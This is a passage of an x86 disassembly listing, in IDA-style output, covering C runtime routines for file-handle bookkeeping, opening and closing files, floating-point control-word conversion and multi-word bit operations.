		jnb	short loc_41FD36
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41FD1E
; ---------------------------------------------------------------------------


loc_41FD36:				; CODE XREF: sub_41FCAC+74j
		shl	edi, 5
		mov	ebx, edi


loc_41FD3B:				; CODE XREF: sub_41FCAC+39j
					; sub_41FCAC+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41FCAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD41	proc near		; CODE XREF: sub_41FEC6+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_48B440
		push	edi
		jnb	short loc_41FDA1
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:48B340h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41FDA1
		cmp	dword_439594, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41FD97
		sub	eax, 0
		jz	short loc_41FD8E
		dec	eax
		jz	short loc_41FD89
		dec	eax
		jnz	short loc_41FD97
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41FD91
; ---------------------------------------------------------------------------


loc_41FD89:				; CODE XREF: sub_41FD41+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41FD91
; ---------------------------------------------------------------------------


loc_41FD8E:				; CODE XREF: sub_41FD41+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_41FD91:				; CODE XREF: sub_41FD41+46j
					; sub_41FD41+4Bj
		nop
		call	near ptr 25B0B69h


loc_41FD97:				; CODE XREF: sub_41FD41+36j
					; sub_41FD41+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41FDB5
; ---------------------------------------------------------------------------


loc_41FDA1:				; CODE XREF: sub_41FD41+Cj
					; sub_41FD41+28j
		and	dword_48A018, 0
		mov	dword_48A014, 9
		or	eax, 0FFFFFFFFh


loc_41FDB5:				; CODE XREF: sub_41FD41+5Ej
		pop	edi
		pop	esi
		retn
sub_41FD41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FDB8	proc near		; CODE XREF: sub_41A6B7+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_48B440
		push	edi
		jnb	short loc_41FE1B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:48B340h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41FE1B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41FE1B
		cmp	dword_439594, 1
		jnz	short loc_41FE11
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41FE08
		dec	ecx
		jz	short loc_41FE03
		dec	ecx
		jnz	short loc_41FE11
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41FE0B
; ---------------------------------------------------------------------------


loc_41FE03:				; CODE XREF: sub_41FDB8+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41FE0B
; ---------------------------------------------------------------------------


loc_41FE08:				; CODE XREF: sub_41FDB8+3Ej
		push	eax
		push	0FFFFFFF6h


loc_41FE0B:				; CODE XREF: sub_41FDB8+49j
					; sub_41FDB8+4Ej
		nop
		call	near ptr 25B0B69h


loc_41FE11:				; CODE XREF: sub_41FDB8+38j
					; sub_41FDB8+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41FE2F
; ---------------------------------------------------------------------------


loc_41FE1B:				; CODE XREF: sub_41FDB8+Cj
					; sub_41FDB8+2Aj ...
		and	dword_48A018, 0
		mov	dword_48A014, 9
		or	eax, 0FFFFFFFFh


loc_41FE2F:				; CODE XREF: sub_41FDB8+61j
		pop	edi
		pop	esi
		retn
sub_41FDB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE32	proc near		; CODE XREF: sub_41A6B7+32p
					; sub_41A6B7+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_48B440
		jnb	short loc_41FE5A
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_48B340[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41FE5A
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41FE5A:				; CODE XREF: sub_41FE32+Aj
					; sub_41FE32+23j
		and	dword_48A018, 0
		mov	dword_48A014, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41FE32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE6F	proc near		; CODE XREF: sub_41A795+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_48B440
		jnb	short loc_41FEB8
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_48B340[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41FEB8
		push	eax
		call	sub_41FE32
		pop	ecx
		push	eax
		nop
		call	near ptr 25B0575h
		test	eax, eax
		jnz	short loc_41FEAD
		call	near ptr 2630313h
		nop
		jmp	short loc_41FEAF
; ---------------------------------------------------------------------------


loc_41FEAD:				; CODE XREF: sub_41FE6F+34j
		xor	eax, eax


loc_41FEAF:				; CODE XREF: sub_41FE6F+3Cj
		test	eax, eax
		jz	short locret_41FEC5
		mov	dword_48A018, eax


loc_41FEB8:				; CODE XREF: sub_41FE6F+Aj
					; sub_41FE6F+22j
		mov	dword_48A014, 9
		or	eax, 0FFFFFFFFh

locret_41FEC5:				; CODE XREF: sub_41FE6F+42j
		retn
sub_41FE6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEC6	proc near		; CODE XREF: sub_41A96C+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41FEEC
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41FEF7
; ---------------------------------------------------------------------------


loc_41FEEC:				; CODE XREF: sub_41FEC6+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41FEF7:				; CODE XREF: sub_41FEC6+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41FF11
		test	ch, 40h
		jnz	short loc_41FF0D
		cmp	dword_48A2E8, eax
		jz	short loc_41FF11


loc_41FF0D:				; CODE XREF: sub_41FEC6+3Dj
		or	[ebp+var_1], 80h


loc_41FF11:				; CODE XREF: sub_41FEC6+38j
					; sub_41FEC6+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41FF49
		dec	eax
		jz	short loc_41FF40
		dec	eax
		jz	short loc_41FF37


loc_41FF22:				; CODE XREF: sub_41FEC6+9Fj
					; sub_41FEC6+E8j ...
		mov	dword_48A014, 16h
		mov	dword_48A018, ebx
		jmp	loc_42015C
; ---------------------------------------------------------------------------


loc_41FF37:				; CODE XREF: sub_41FEC6+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41FF50
; ---------------------------------------------------------------------------


loc_41FF40:				; CODE XREF: sub_41FEC6+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41FF50
; ---------------------------------------------------------------------------


loc_41FF49:				; CODE XREF: sub_41FEC6+54j
		mov	[ebp+var_C], 80000000h


loc_41FF50:				; CODE XREF: sub_41FEC6+78j
					; sub_41FEC6+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41FF7E
		cmp	eax, 20h
		jz	short loc_41FF75
		cmp	eax, 30h
		jz	short loc_41FF6C
		cmp	eax, 40h
		jnz	short loc_41FF22
		mov	[ebp+var_10], esi
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------


loc_41FF6C:				; CODE XREF: sub_41FEC6+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------


loc_41FF75:				; CODE XREF: sub_41FEC6+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------


loc_41FF7E:				; CODE XREF: sub_41FEC6+90j
		mov	[ebp+var_10], ebx


loc_41FF81:				; CODE XREF: sub_41FEC6+A4j
					; sub_41FEC6+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41FFCB
		jz	short loc_41FFC6
		cmp	ecx, ebx
		jz	short loc_41FFC6
		cmp	ecx, edi
		jz	short loc_41FFBD
		cmp	ecx, 200h
		jz	short loc_41FFE4
		cmp	ecx, 300h
		jnz	loc_41FF22
		mov	[ebp+var_8], 2
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------


loc_41FFBD:				; CODE XREF: sub_41FEC6+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------


loc_41FFC6:				; CODE XREF: sub_41FEC6+D0j
					; sub_41FEC6+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------


loc_41FFCB:				; CODE XREF: sub_41FEC6+CEj
		cmp	ecx, 500h
		jz	short loc_41FFED
		cmp	ecx, 600h
		jz	short loc_41FFE4
		cmp	ecx, edx
		jz	short loc_41FFED
		jmp	loc_41FF22
; ---------------------------------------------------------------------------


loc_41FFE4:				; CODE XREF: sub_41FEC6+E0j
					; sub_41FEC6+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------


loc_41FFED:				; CODE XREF: sub_41FEC6+10Bj
					; sub_41FEC6+117j
		mov	[ebp+var_8], 1


loc_41FFF4:				; CODE XREF: sub_41FEC6+F5j
					; sub_41FEC6+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_420013
		mov	ecx, dword_48A01C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_420013
		push	1
		pop	esi


loc_420013:				; CODE XREF: sub_41FEC6+138j
					; sub_41FEC6+148j
		test	al, 40h
		jz	short loc_420021
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_420021:				; CODE XREF: sub_41FEC6+14Fj
		test	ah, 10h
		jz	short loc_420028
		or	esi, edi


loc_420028:				; CODE XREF: sub_41FEC6+15Ej
		test	al, 20h
		jz	short loc_420034
		or	esi, 8000000h
		jmp	short loc_42003E
; ---------------------------------------------------------------------------


loc_420034:				; CODE XREF: sub_41FEC6+164j
		test	al, 10h
		jz	short loc_42003E
		or	esi, 10000000h


loc_42003E:				; CODE XREF: sub_41FEC6+16Cj
					; sub_41FEC6+170j
		call	sub_41FCAC
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_42005F
		and	dword_48A018, 0
		mov	dword_48A014, 18h
		jmp	short loc_42009D
; ---------------------------------------------------------------------------


loc_42005F:				; CODE XREF: sub_41FEC6+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	near ptr 2630000h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_420090
		push	esi
		nop
		call	near ptr 25D0000h
		test	eax, eax
		jnz	short loc_4200A4
		push	esi
		nop
		call	near ptr 2611A31h


loc_420090:				; CODE XREF: sub_41FEC6+1B6j
		call	near ptr 2630313h
		nop
		push	eax
		call	sub_41EF44
		pop	ecx


loc_42009D:				; CODE XREF: sub_41FEC6+197j
		mov	eax, edi
		jmp	loc_42017A
; ---------------------------------------------------------------------------


loc_4200A4:				; CODE XREF: sub_41FEC6+1C1j
		cmp	eax, 2
		jnz	short loc_4200AF
		or	[ebp+var_1], 40h
		jmp	short loc_4200B8
; ---------------------------------------------------------------------------


loc_4200AF:				; CODE XREF: sub_41FEC6+1E1j
		cmp	eax, 3
		jnz	short loc_4200B8
		or	[ebp+var_1], 8


loc_4200B8:				; CODE XREF: sub_41FEC6+1E7j
					; sub_41FEC6+1ECj
		push	esi
		push	ebx
		call	sub_41FD41
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:48B340h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_420161
		test	al, 80h
		jz	short loc_420161
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_420161
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_420116
		cmp	dword_48A018, 83h
		jz	short loc_420161
		jmp	short loc_420155
; ---------------------------------------------------------------------------


loc_420116:				; CODE XREF: sub_41FEC6+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41E321
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420143
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_420143
		push	[ebp+var_10]
		push	ebx
		call	sub_4211F1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_420155


loc_420143:				; CODE XREF: sub_41FEC6+265j
					; sub_41FEC6+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420161


loc_420155:				; CODE XREF: sub_41FEC6+24Ej
					; sub_41FEC6+27Bj
		push	ebx
		call	sub_41A6B7
		pop	ecx


loc_42015C:				; CODE XREF: sub_41FEC6+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_42017A
; ---------------------------------------------------------------------------


loc_420161:				; CODE XREF: sub_41FEC6+221j
					; sub_41FEC6+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_420178
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_420178
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_420178:				; CODE XREF: sub_41FEC6+29Fj
					; sub_41FEC6+2A5j
		mov	eax, ebx


loc_42017A:				; CODE XREF: sub_41FEC6+1D9j
					; sub_41FEC6+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42017F	proc near		; CODE XREF: sub_41C50A+52p
		xor	eax, eax
		retn
sub_42017F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420182	proc near		; CODE XREF: sub_4201B7+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_4201CD
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42025F
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_420182	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201B7	proc near		; CODE XREF: sub_41C7F6+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_420182
		pop	ecx
		pop	ecx
		retn
sub_4201B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201CD	proc near		; CODE XREF: sub_420182+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_4201DE
		push	10h
		pop	eax


loc_4201DE:				; CODE XREF: sub_4201CD+Cj
		test	bl, 4
		jz	short loc_4201E5
		or	al, 8


loc_4201E5:				; CODE XREF: sub_4201CD+14j
		test	bl, 8
		jz	short loc_4201EC
		or	al, 4


loc_4201EC:				; CODE XREF: sub_4201CD+1Bj
		test	bl, 10h
		jz	short loc_4201F3
		or	al, 2


loc_4201F3:				; CODE XREF: sub_4201CD+22j
		test	bl, 20h
		jz	short loc_4201FA
		or	al, 1


loc_4201FA:				; CODE XREF: sub_4201CD+29j
		test	bl, 2
		jz	short loc_420204
		or	eax, 80000h


loc_420204:				; CODE XREF: sub_4201CD+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_42023C
		cmp	edx, 400h
		jz	short loc_420239
		cmp	edx, 800h
		jz	short loc_420235
		cmp	edx, esi
		jnz	short loc_42023C
		or	eax, edi
		jmp	short loc_42023C
; ---------------------------------------------------------------------------


loc_420235:				; CODE XREF: sub_4201CD+5Ej
		or	eax, ebp
		jmp	short loc_42023C
; ---------------------------------------------------------------------------


loc_420239:				; CODE XREF: sub_4201CD+56j
		or	ah, 1


loc_42023C:				; CODE XREF: sub_4201CD+4Ej
					; sub_4201CD+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_42024C
		cmp	ecx, ebp
		jnz	short loc_420251
		or	eax, 10000h
		jmp	short loc_420251
; ---------------------------------------------------------------------------


loc_42024C:				; CODE XREF: sub_4201CD+72j
		or	eax, 20000h


loc_420251:				; CODE XREF: sub_4201CD+76j
					; sub_4201CD+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42025E
		or	eax, 40000h

locret_42025E:				; CODE XREF: sub_4201CD+8Aj
		retn
sub_4201CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42025F	proc near		; CODE XREF: sub_420182+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42026F
		push	1
		pop	eax


loc_42026F:				; CODE XREF: sub_42025F+Bj
		test	bl, 8
		jz	short loc_420276
		or	al, 4


loc_420276:				; CODE XREF: sub_42025F+13j
		test	bl, 4
		jz	short loc_42027D
		or	al, 8


loc_42027D:				; CODE XREF: sub_42025F+1Aj
		test	bl, 2
		jz	short loc_420284
		or	al, 10h


loc_420284:				; CODE XREF: sub_42025F+21j
		test	bl, 1
		jz	short loc_42028B
		or	al, 20h


loc_42028B:				; CODE XREF: sub_42025F+28j
		test	ebx, 80000h
		jz	short loc_420295
		or	al, 2


loc_420295:				; CODE XREF: sub_42025F+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_4202C2
		cmp	ecx, 100h
		jz	short loc_4202BF
		cmp	ecx, esi
		jz	short loc_4202BA
		cmp	ecx, edx
		jnz	short loc_4202C2
		or	ah, 0Ch
		jmp	short loc_4202C2
; ---------------------------------------------------------------------------


loc_4202BA:				; CODE XREF: sub_42025F+50j
		or	ah, 8
		jmp	short loc_4202C2
; ---------------------------------------------------------------------------


loc_4202BF:				; CODE XREF: sub_42025F+4Cj
		or	ah, 4


loc_4202C2:				; CODE XREF: sub_42025F+44j
					; sub_42025F+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_4202D8
		cmp	ecx, 10000h
		jnz	short loc_4202DA
		or	eax, esi
		jmp	short loc_4202DA
; ---------------------------------------------------------------------------


loc_4202D8:				; CODE XREF: sub_42025F+6Bj
		or	eax, edx


loc_4202DA:				; CODE XREF: sub_42025F+73j
					; sub_42025F+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_4202E7
		or	ah, 10h

locret_4202E7:				; CODE XREF: sub_42025F+83j
		retn
sub_42025F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4202E8	proc near		; CODE XREF: sub_420387+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_42032D
		inc	esi
		cmp	esi, 3
		jge	short loc_420328
		lea	eax, [eax+esi*4]


loc_42031A:				; CODE XREF: sub_4202E8+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_42032D
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_42031A


loc_420328:				; CODE XREF: sub_4202E8+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42032D:				; CODE XREF: sub_4202E8+27j
					; sub_4202E8+35j
		xor	eax, eax
		pop	esi
		retn
sub_4202E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_420331	proc near		; CODE XREF: sub_420387+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_421337
		add	esp, 0Ch
		dec	esi
		js	short loc_420383
		lea	edi, [ebx+esi*4]


loc_42036A:				; CODE XREF: sub_420331+50j
		test	eax, eax
		jz	short loc_420383
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_421337
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_42036A


loc_420383:				; CODE XREF: sub_420331+34j
					; sub_420331+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_420331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420387	proc near		; CODE XREF: sub_4204E2+81p
					; sub_4204E2+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_4203EB
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_4202E8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4203E8
		push	edi
		push	[ebp+arg_0]
		call	sub_420331
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_4203E8:				; CODE XREF: sub_420387+51j
		mov	eax, [ebp+arg_4]


loc_4203EB:				; CODE XREF: sub_420387+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_42040B
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_42040B:				; CODE XREF: sub_420387+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420387	endp


; =============== S U B	R O U T	I N E =======================================



sub_420413	proc near		; CODE XREF: sub_4204E2+75p
					; sub_4204E2+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_420421:				; CODE XREF: sub_420413+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_420421
		pop	esi
		retn
sub_420413	endp


; =============== S U B	R O U T	I N E =======================================



sub_42042E	proc near		; CODE XREF: sub_4204E2+5Fp
					; sub_4204E2+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42042E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42043A	proc near		; CODE XREF: sub_4204E2+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_420440:				; CODE XREF: sub_42043A+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_420452
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_420440
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_420452:				; CODE XREF: sub_42043A+9j
		xor	eax, eax
		retn
sub_42043A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420455	proc near		; CODE XREF: sub_4204E2+C0p
					; sub_4204E2+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_42048B:				; CODE XREF: sub_420455+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_42048B
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_4204BD:				; CODE XREF: sub_420455+86j
		cmp	ebx, edi
		jl	short loc_4204D0
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_4204D7
; ---------------------------------------------------------------------------


loc_4204D0:				; CODE XREF: sub_420455+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_4204D7:				; CODE XREF: sub_420455+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_4204BD
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420455	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4204E2	proc near		; CODE XREF: sub_42064E+Dp
					; sub_420664+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_42054F
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_42043A
		test	eax, eax
		pop	ecx
		jnz	loc_42060E
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		pop	ecx


